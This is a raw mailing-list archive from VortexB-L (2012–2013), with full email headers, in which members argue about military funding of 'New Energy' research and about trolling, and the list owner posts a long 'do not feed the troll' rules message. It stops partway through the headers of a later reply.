What do you mean?

David

David Jonsson, Sweden, = +46703000370


On Fri, Dec 21, 2012 at 8:13 PM, grok <gro= k@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follo= w this 'New Energy' stuff (and as I personally witnessed previously= on Vortex-L, and elsewhere): I wonder how many of these people have no iss= ues at all with the military of any of the NATO regimes most of us live und= er, funding and/or using their work, to whatever ends..?

-- grok.



--047d7b6dc868cfbd7004d1631e5c-- From vortexb-l-request@eskimo.com Fri Dec 21 15:05:21 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qBLN5Ksk021240; Fri, 21 Dec 2012 15:05:20 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qBLN5Jww021230; Fri, 21 Dec 2012 15:05:19 -0800 Resent-Date: Fri, 21 Dec 2012 15:05:19 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50D4EB27.4070501@resist.ca> Date: Fri, 21 Dec 2012 18:05:11 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Nature of Vortex-L list membership References: <50D4B4CA.5020006@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------040800020700020500010703" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4666 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 907 This is a multi-part message in MIME format. --------------040800020700020500010703 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/12/21 15:59, David Jonsson wrote: > What do you mean? > > David > > David Jonsson, Sweden, +46703000370 > You mean about 'the apparent nature' stuff? I mean essentially being supporters of the status quo in the World, whatever they protest otherwise. -- grok. > > On Fri, Dec 21, 2012 at 8:13 PM, grok > wrote: > > > Given the apparent nature of many of those who are engaged-in, or > who follow this 'New Energy' stuff (and as I personally witnessed > previously on Vortex-L, and elsewhere): I wonder how many of these > people have no issues at all with the military of any of the NATO > regimes most of us live under, funding and/or using their work, to > whatever ends..? > > -- grok. > > > --------------040800020700020500010703 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/12/21 15:59, David Jonsson wrote:
What do you mean?

David

David Jonsson, Sweden, +46703000370


You mean about 'the apparent nature' stuff? I mean essentially being supporters of the status quo in the World, whatever they protest otherwise.

-- grok.





On Fri, Dec 21, 2012 at 8:13 PM, grok <grok@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..?

-- grok.




--------------040800020700020500010703-- From vortexb-l-request@eskimo.com Fri Dec 21 15:17:14 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qBLNHBV2023112; Fri, 21 Dec 2012 15:17:11 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qBLNHAtv023104; Fri, 21 Dec 2012 15:17:10 -0800 Resent-Date: Fri, 21 Dec 2012 15:17:10 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=8/en5AozPOAAxJosg8fM6xEw6iYZ6HJtmL+eC8NchDw=; b=IhIrhRVUvGuJ409a581z6CzVR2g53tz4uUT83ocPnZNZGc9fsUoSOR/JkLB/MPPAac IJjrIl6XQyLTZzfhWQtvAAAqDefoZMu35x6i64c/YM1/sQt0T/nXTIWSiApDVEJFmZ9F +NcNUFOOS3JObTGlj3ujVPVMYC702w5zQ+BwLAHjbtdUKXS75V4xsOGZEQKxDxgscTlF rNa5YE7SoH6iEj0s/lF/OInQS1JWiBMAP01/6HCpkZ2Ir2dOiHgOzSIvmtqwxPZONvYY 2ndthvHMZk78STrM9c9mjh8Hxq6C68SeuYi9PSASmLNFV6l8i0a3t7nl3meghKMqa2bX JIPw== MIME-Version: 1.0 In-Reply-To: <50D4EB27.4070501@resist.ca> References: <50D4B4CA.5020006@resist.ca> <50D4EB27.4070501@resist.ca> Date: Sat, 22 Dec 2012 00:17:10 +0100 Message-ID: Subject: Re: [VoB]:Nature of Vortex-L list membership From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=bcaec50163091084f804d1650c24 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4667 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 908 --bcaec50163091084f804d1650c24 Content-Type: text/plain; charset=ISO-8859-1 How would NATO or NATO-deals block development? David On Sat, Dec 22, 2012 at 12:05 AM, grok wrote: > On 12/12/21 15:59, David Jonsson wrote: > > What do you mean? > > David > > David Jonsson, Sweden, +46703000370 > > > You mean about 'the apparent nature' stuff? I mean essentially being > supporters of the status quo in the World, whatever they protest otherwise. > > -- grok. > > > > > > > On Fri, Dec 21, 2012 at 8:13 PM, grok wrote: > >> >> Given the apparent nature of many of those who are engaged-in, or who >> follow this 'New Energy' stuff (and as I personally witnessed previously on >> Vortex-L, and elsewhere): I wonder how many of these people have no issues >> at all with the military of any of the NATO regimes most of us live under, >> funding and/or using their work, to whatever ends..? >> >> -- grok. >> >> >> > > --bcaec50163091084f804d1650c24 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
How would NATO or NATO-deals block development?=

David

On Sat, Dec 22, 2012 at 12:05 AM, grok <grok@= resist.ca> wrote:
=20 =20 =20
On 12/12/21 15:59, David Jonsson wrote:
What do you mean?

David

David Jonsson, Sweden, +46703000370


You mean about 'the apparent nature' stuff? I mean essentially = being supporters of the status quo in the World, whatever they protest otherwise.

-- grok.






On Fri, Dec 21, 2012 at 8:13 PM, grok <gro= k@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and = as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..?

-- grok.





--bcaec50163091084f804d1650c24-- From vortexb-l-request@eskimo.com Sat Dec 22 15:24:54 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qBMNOqAw027367; Sat, 22 Dec 2012 15:24:52 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qBMNOnYE027357; Sat, 22 Dec 2012 15:24:49 -0800 Resent-Date: Sat, 22 Dec 2012 15:24:49 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50D64133.4000005@resist.ca> Date: Sat, 22 Dec 2012 18:24:35 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Nature of Vortex-L list membership References: <50D4B4CA.5020006@resist.ca> <50D4EB27.4070501@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------040106080400080004030804" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4668 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 909 This is a multi-part message in MIME format. --------------040106080400080004030804 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/12/21 18:17, David Jonsson wrote: > How would NATO or NATO-deals block development? > > David Stop being obtuse. You know damned well what I asked. -- grok. > > On Sat, Dec 22, 2012 at 12:05 AM, grok > wrote: > > On 12/12/21 15:59, David Jonsson wrote: >> What do you mean? >> >> David >> >> David Jonsson, Sweden, +46703000370 >> > > You mean about 'the apparent nature' stuff? I mean essentially > being supporters of the status quo in the World, whatever they > protest otherwise. > > -- grok. > > > > > >> >> On Fri, Dec 21, 2012 at 8:13 PM, grok > > wrote: >> >> >> Given the apparent nature of many of those who are >> engaged-in, or who follow this 'New Energy' stuff (and as I >> personally witnessed previously on Vortex-L, and elsewhere): >> I wonder how many of these people have no issues at all with >> the military of any of the NATO regimes most of us live >> under, funding and/or using their work, to whatever ends..? >> >> -- grok. >> >> >> > > --------------040106080400080004030804 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/12/21 18:17, David Jonsson wrote:
How would NATO or NATO-deals block development?

David

Stop being obtuse. You know damned well what I asked.

-- grok.




On Sat, Dec 22, 2012 at 12:05 AM, grok <grok@resist.ca> wrote:
On 12/12/21 15:59, David Jonsson wrote:
What do you mean?

David

David Jonsson, Sweden, +46703000370


You mean about 'the apparent nature' stuff? I mean essentially being supporters of the status quo in the World, whatever they protest otherwise.

-- grok.






On Fri, Dec 21, 2012 at 8:13 PM, grok <grok@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..?

-- grok.






--------------040106080400080004030804-- From vortexb-l-request@eskimo.com Sat Dec 22 15:40:30 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qBMNeT3n025595; Sat, 22 Dec 2012 15:40:29 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qBMNeSDL025591; Sat, 22 Dec 2012 15:40:28 -0800 Resent-Date: Sat, 22 Dec 2012 15:40:28 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=JzKOMMPJIirCXnQkakRE/veqnJ2bvhD5CgC5VZu4Ayk=; b=g1hcEw3EK3UOl8MUElRWMR9P3rWLSoOx08JsVaYm8YaTiHj+3K2I6pOHWObXTuXPEE h6ufdv3+b6bt6WELa0hPXPW5RNjbXtNinwPEuveTfcCZ+UYA0Wsi+tGjPV+q8Y+tIGX1 fEINL/UnCkcxlpph4Hi8Evp//gfEW+7pxOO1l6OumwhYxrPvIXGe8ZN5MVZpHfAd4YLx O7VX5noCqvGOZV3n9gNqXsAm449pLosxVvZ3OKFZXoqoyIAdsMyWD1c6sgjQFeVPHQwb lE7WAdIGyF/GPk/ofoK0iZLoS7WB6gqSz6nUyWhgpQn4uE3KxAX08RY5U0IpFbAemoz8 JwKw== MIME-Version: 1.0 In-Reply-To: <50D64133.4000005@resist.ca> References: <50D4B4CA.5020006@resist.ca> <50D4EB27.4070501@resist.ca> <50D64133.4000005@resist.ca> Date: Sun, 23 Dec 2012 00:40:28 +0100 Message-ID: Subject: Re: [VoB]:Nature of Vortex-L list membership From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7bdc06aa3bab3704d1797d78 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4669 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 910 --047d7bdc06aa3bab3704d1797d78 Content-Type: text/plain; charset=ISO-8859-1 China? David Jonsson, Sweden, +46703000370 On Sun, Dec 23, 2012 at 12:24 AM, grok wrote: > On 12/12/21 18:17, David Jonsson wrote: > > How would NATO or NATO-deals block development? > > David > > > Stop being obtuse. You know damned well what I asked. > > -- grok. > > > > > > On Sat, Dec 22, 2012 at 12:05 AM, grok wrote: > >> On 12/12/21 15:59, David Jonsson wrote: >> >> What do you mean? >> >> David >> >> David Jonsson, Sweden, +46703000370 >> >> >> You mean about 'the apparent nature' stuff? I mean essentially being >> supporters of the status quo in the World, whatever they protest otherwise. >> >> -- grok. >> >> >> >> >> >> >> On Fri, Dec 21, 2012 at 8:13 PM, grok wrote: >> >>> >>> Given the apparent nature of many of those who are engaged-in, or who >>> follow this 'New Energy' stuff (and as I personally witnessed previously on >>> Vortex-L, and elsewhere): I wonder how many of these people have no issues >>> at all with the military of any of the NATO regimes most of us live under, >>> funding and/or using their work, to whatever ends..? >>> >>> -- grok. >>> >>> >>> >> >> > > --047d7bdc06aa3bab3704d1797d78 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
China?

<= div>David Jonsson, Sweden, +46703000370


On Sun, Dec 23, 2012 at 12:24 AM, grok <= span dir=3D"ltr"><gr= ok@resist.ca> wrote:
=20 =20 =20
On 12/12/21 18:17, David Jonsson wrote:
How would NATO or NATO-deals block development?

David

Stop being obtuse. You know damned well what I asked.

-- grok.





On Sat, Dec 22, 2012 at 12:05 AM, grok <grok@resist.ca> wrote:
On 12/12/21 15:59, David Jonsson wrote:
What do you mean?

David

David Jonsson, Sweden, +46703000370


You mean about 'the apparent nature' stuff? I mean essentially being supporters of the status quo in the World, whatever they protest otherwise.

-- grok.






On Fri, Dec 21, 2012 at 8:13 PM, grok <grok@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..?

-- grok.







--047d7bdc06aa3bab3704d1797d78-- From vortexb-l-request@eskimo.com Sat Dec 22 16:21:24 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qBN0LMXh029638; Sat, 22 Dec 2012 16:21:22 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qBN0LMTn029634; Sat, 22 Dec 2012 16:21:22 -0800 Resent-Date: Sat, 22 Dec 2012 16:21:22 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50D64E75.7000906@resist.ca> Date: Sat, 22 Dec 2012 19:21:09 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Nature of Vortex-L list membership References: <50D4B4CA.5020006@resist.ca> <50D4EB27.4070501@resist.ca> <50D64133.4000005@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------080703070106010208020103" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4670 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 911 This is a multi-part message in MIME format. --------------080703070106010208020103 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/12/22 18:40, David Jonsson wrote: > China? > > David Jonsson, Sweden, +46703000370 I'll take your systematic evasiveness as a sign that you indeed support working for the military on this stuff, with no qualms. -- grok. > > > On Sun, Dec 23, 2012 at 12:24 AM, grok > wrote: > > On 12/12/21 18:17, David Jonsson wrote: >> How would NATO or NATO-deals block development? >> >> David > > Stop being obtuse. You know damned well what I asked. > > -- grok. > > > > >> >> On Sat, Dec 22, 2012 at 12:05 AM, grok > > wrote: >> >> On 12/12/21 15:59, David Jonsson wrote: >>> What do you mean? >>> >>> David >>> >>> David Jonsson, Sweden, +46703000370 >>> >> >> You mean about 'the apparent nature' stuff? I mean >> essentially being supporters of the status quo in the World, >> whatever they protest otherwise. >> >> -- grok. >> >> >> >> >> >>> >>> On Fri, Dec 21, 2012 at 8:13 PM, grok >> > wrote: >>> >>> >>> Given the apparent nature of many of those who are >>> engaged-in, or who follow this 'New Energy' stuff (and >>> as I personally witnessed previously on Vortex-L, and >>> elsewhere): I wonder how many of these people have no >>> issues at all with the military of any of the NATO >>> regimes most of us live under, funding and/or using >>> their work, to whatever ends..? >>> >>> -- grok. >>> >>> >>> >> >> > > --------------080703070106010208020103 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/12/22 18:40, David Jonsson wrote:
China?

David Jonsson, Sweden, +46703000370

I'll take your systematic evasiveness as a sign that you indeed support working for the military on this stuff, with no qualms.

-- grok.





On Sun, Dec 23, 2012 at 12:24 AM, grok <grok@resist.ca> wrote:
On 12/12/21 18:17, David Jonsson wrote:
How would NATO or NATO-deals block development?

David

Stop being obtuse. You know damned well what I asked.

-- grok.





On Sat, Dec 22, 2012 at 12:05 AM, grok <grok@resist.ca> wrote:
On 12/12/21 15:59, David Jonsson wrote:
What do you mean?

David

David Jonsson, Sweden, +46703000370


You mean about 'the apparent nature' stuff? I mean essentially being supporters of the status quo in the World, whatever they protest otherwise.

-- grok.






On Fri, Dec 21, 2012 at 8:13 PM, grok <grok@resist.ca> wrote:

Given the apparent nature of many of those who are engaged-in, or who follow this 'New Energy' stuff (and as I personally witnessed previously on Vortex-L, and elsewhere): I wonder how many of these people have no issues at all with the military of any of the NATO regimes most of us live under, funding and/or using their work, to whatever ends..?

-- grok.








--------------080703070106010208020103-- From vortexb-l-request@eskimo.com Thu Jan 3 04:14:02 2013 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id r03CE1IG003595; Thu, 3 Jan 2013 04:14:01 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id r03CDtuT003579; Thu, 3 Jan 2013 04:13:55 -0800 Resent-Date: Thu, 3 Jan 2013 04:13:55 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlYGAG6Zu0/O+Ihr/2dsb2JhbABEgXuzHoIVAQEBAQIBAQEBN0QLCAMkIiE2BRQeh2IDBgWwKg2JUooagwyDHgOIQoxYiniEeYMH X-IronPort-AV: E=Sophos;i="4.75,637,1330923600"; d="scan'208";a="211263396" Date: Thu, 3 Jan 2013 07:13:31 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20130103071331.7f0193c902e5abb8dac8a84a@antichef.com> In-Reply-To: References: <201301012138.r01LcWcf026154@ultra5.eskimo.com> <201301020603.r0263m1q017292@ultra5.eskimo.com> <201301022356.r02NufoD025450@ultra6.eskimo.com> <201301030405.r0345YJW005725@ultra6.eskimo.com> X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <19daPB.A.03.DYX5QB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4671 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:OT: The Truth about islam and little girls. Status: RO X-Status: X-Keywords: X-UID: 912 On Wed, 2 Jan 2013 20:22:11 -0800 Eric Walker wrote: > On Wed, Jan 2, 2013 at 8:08 PM, Abd ul-Rahman Lomax wrote: > > Oh, I'm quivering, shaking with the possibility that *Jed Rothwell* might > > filter me out. > > > > I am not going to subscribe to VortexB-l. This is supposedy a moderated > > list. If it stays unmoderated, I won't be here long. Part of the moderation is voluntary - you send OT posts to vortexb-l. If that had been done by the people who are now complaining, they wouldn't be complaining. > > > > Hate to say it, but the troll is starting to win. People are starting to > lose patience with one another. I think Steve Johnson has been on this > list since early days. > > Any word on Bill? Is he ok? > > How long do we suffer the present situation until we reconstitute under > something like Google Groups, with Terry or another longtimer as mod? Or > should everyone who can't stand the situation add he who shall not be named > to a killfile? If that's the best we can do for now, how to address Abd's > pressing concern about having his background and religion subject to > constant assault on this list? > > Eric From vortexb-l-request@eskimo.com Thu Jan 3 07:04:22 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r03F4Kup021258; Thu, 3 Jan 2013 07:04:20 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r03F4Kma021248; Thu, 3 Jan 2013 07:04:20 -0800 Resent-Date: Thu, 3 Jan 2013 07:04:20 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50E59DEB.8020307@resist.ca> Date: Thu, 03 Jan 2013 10:04:11 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:OT: The Truth about islam and little girls. References: <201301012138.r01LcWcf026154@ultra5.eskimo.com> <201301020603.r0263m1q017292@ultra5.eskimo.com> <201301022356.r02NufoD025450@ultra6.eskimo.com> <201301030405.r0345YJW005725@ultra6.eskimo.com> <20130103071331.7f0193c902e5abb8dac8a84a@antichef.com> In-Reply-To: <20130103071331.7f0193c902e5abb8dac8a84a@antichef.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <-sKAcD.A.2LF.03Z5QB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4672 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 913 Of course, there's no way that I know the content of what must be one more ugly little thread on the Internet... but I think the whiff of it, below, would tend to prove my long-held contention that Vortex-L (but not more than any other such eList) reflects the general criminal crudeness and aggressiveness of U.S./anglo imperialist society in respect to its relations with the rest of the Planet, and most especially the relations between the classes of society. And this was part of the basis of my contention that probably many Vortexers seem to have no problem with the military imperialist use of 'Over-Unity' teknology -- just as long as they get to have fun creating and maintaining it... -- grok. On 13/01/03 07:13, Vorl Bek wrote: > On Wed, 2 Jan 2013 20:22:11 -0800 > Eric Walker wrote: > >> On Wed, Jan 2, 2013 at 8:08 PM, Abd ul-Rahman Lomax wrote: >> >> Oh, I'm quivering, shaking with the possibility that *Jed Rothwell* might >>> filter me out. >>> >>> I am not going to subscribe to VortexB-l. This is supposedy a moderated >>> list. If it stays unmoderated, I won't be here long. > Part of the moderation is voluntary - you send OT posts to > vortexb-l. > > If that had been done by the people who are now complaining, they > wouldn't be complaining. > > >> Hate to say it, but the troll is starting to win. People are starting to >> lose patience with one another. I think Steve Johnson has been on this >> list since early days. >> >> Any word on Bill? Is he ok? >> >> How long do we suffer the present situation until we reconstitute under >> something like Google Groups, with Terry or another longtimer as mod? Or >> should everyone who can't stand the situation add he who shall not be named >> to a killfile? If that's the best we can do for now, how to address Abd's >> pressing concern about having his background and religion subject to >> constant assault on this list? >> >> Eric > > From vortexb-l-request@eskimo.com Wed Jan 9 21:31:08 2013 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id r0A5V69a009461; Wed, 9 Jan 2013 21:31:06 -0800 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id r0A5V0Ff009450; Wed, 9 Jan 2013 21:31:00 -0800 Resent-Date: Wed, 9 Jan 2013 21:31:00 -0800 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: shell.eskimo.com: billb owned process doing -bs Date: Wed, 9 Jan 2013 21:31:02 -0800 (PST) From: William Beaty To: vortexb-l@eskimo.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4673 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Vortex back on, PLEASE READ (fwd) Status: RO X-Status: X-Keywords: X-UID: 914 Oops, MISSED MESSAGE, forwarded from vtx. This is vortexB you're reading. So, suddenly after more than a decade, vortex needs a team of moderators? No. Moderation isn't the problem. Vortex-L very intentionally has no rule against insults, and no moderator oversight. The community functions by attracting people of good character who ignore all insults (and who know enough to ostracize those who don't.) The cause of the recent troubles is not lack of tight moderator control. The cause is very old and *very* well-known. It's a system-wide rule which was being completely ignored by the participants. It's very, very simple: Rule #1: DO NOT FEED A TROLL. If someone insults you, do not respond. What if the insult is grave, and attacks your very honor? Go see rule #1. Did the other guy start it, and you're entirely justified in answering their terrible slander? Wrong, see rule #1. But their grievous insult is supporting Sectarian Hatred, and must be stopped! No, see rule #1. And their twisted lies remain in the public archive for all to see, forever, and injures the minds of the children! Uh ...I think you need to go see rule #1. And if you refuse to killfile the troll, and instead try to defend yourself, chances are that you'll get banned, and the troll will not. Not a joke. Fighting with trolls hurts *you*. If you think that ignoring a troll causes problems and does not work, just try fighting with one, see where that gets you. However, with the fall of Usenet and the rise of heavily-moderated troll-free forums, it's not just the total newbies who seem unfamiliar with the rule of DO NOT FEED A TROLL. Fairly sophisticated people who should know better, they think up all sorts of justifications to indulge in gigantic public battles with disgusting enemies. Perhaps they think that ignoring trolls didn't work, and that they can "win" a fight? No, because true trolls are intellectually dishonest, and their irrational reasoning is completely unassailable. All your effort is guaranteed to be wasted. Which is exactly what the troll wanted. "Fighting with pigs only covers you in filth, and the pig enjoys it." But it's trivially easy to defeat the pig. Just see rule #1. Put them in killfile. > From the very first link on the Vortex-L page: http://amasci.com/lists.html Flamewars usually are triggered *NOT* when one person intentionally insults another, but when one person *takes* insult when reading messages having fairly innocent intent. The offended reader then hurls a real insult in return. Their target feels unjustly attacked, since after all they did not send any horrible insults in the first place. Therefore they respond with insults of their own. And so a "war" has been triggered through misunderstandings. Same as with nations. Same as with little kids. And as with fighting children, the flamewar participants will often end up saying "well she started it, I was just defending myself! "No he started it, no she did, no he did," and the list owner finally steps in and says "I don't care who started it, you both participated, both of you go stand in the corner." The solution? Simple: Be nice. Don't hurl insults via the list, EVEN IF SOMEONE ELSE INSULTED YOUR FIRST. Avoid acting like a self-important boob; don't take insult at every little thing, and don't insist on public retaliation for every slight. Either ask if the insult was intentional, or if you must, send your responding attack directly to your target via private mail and *not* to the email list. If you feel that someone has unjustly attacked you, and if you feel justified in defending yourself IN PUBLIC, then you have fallen for the Flamewar psychology. People with an "eye for an eye" philosophy, those who have a need to take retribution for perceived attacks, are no better than primitive tribes trapped in cycles of violence, or modern nations who start wars for stupid reasons. On the other hand, if all the real (or imagined) insults go right past you with no effect ...then you'd make a good email-list moderator! :) Now I'm thinking this 'unwritten rule of the internet' needs to be included in the vortex-L rules. Seriously. People apparently aren't aware of it, so it should be made explicit. PS What is vortex, really? It's 1994. Vortex-L is essentially the usenet newsgroup called sci.physics.fusion, but with all the skeptics removed. It's still just like Usenet: not really moderated, and has no rule against insults. A self-organizing community forms, just like all newsgroups. Trolls come and go, but the community quickly sees through them. I do sometimes remove trolls as a convenience after weeks, when they're howling and screeching alone, ignored by the group. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Thu Jan 10 06:21:36 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0AELYas017335; Thu, 10 Jan 2013 06:21:34 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0AELVM8017316; Thu, 10 Jan 2013 06:21:31 -0800 Resent-Date: Thu, 10 Jan 2013 06:21:31 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-EIP: [CnYHrdeqqci+0XGVZa/HDFL9fEKwN0Dk] X-Originating-Email: [jthao1@hotmail.com] Message-ID: From: Jojo Jaro To: , "William Beaty" References: Subject: Re: [VoB]:Vortex back on, PLEASE READ (fwd) Date: Thu, 10 Jan 2013 21:39:35 +0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; 